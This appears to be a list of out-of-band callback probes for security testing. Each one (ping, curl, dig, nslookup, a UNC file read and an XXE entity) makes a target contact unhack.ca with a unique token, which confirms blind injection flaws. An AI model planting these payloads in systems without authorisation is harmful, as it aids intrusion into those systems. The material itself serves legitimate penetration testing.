$ ping -c1 -p 00b6565dbefac79973b8098501712d00 unhack.ca
 

$ curl http://unhack.ca/p/b6565dbefac79973b8098501712d
 

$ dig b6565dbefac79973b8098501712d @unhack.ca
 

$ dig b6565dbefac79973b8098501712d.ns.unhack.ca
 

C:\> nslookup b6565dbefac79973b8098501712d unhack.ca
 

C:\> type \\unhack.ca\b6565dbefac79973b8098501712d\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b6565dbefac79973b8098501712d">]>
    <foo>&xxe;</foo>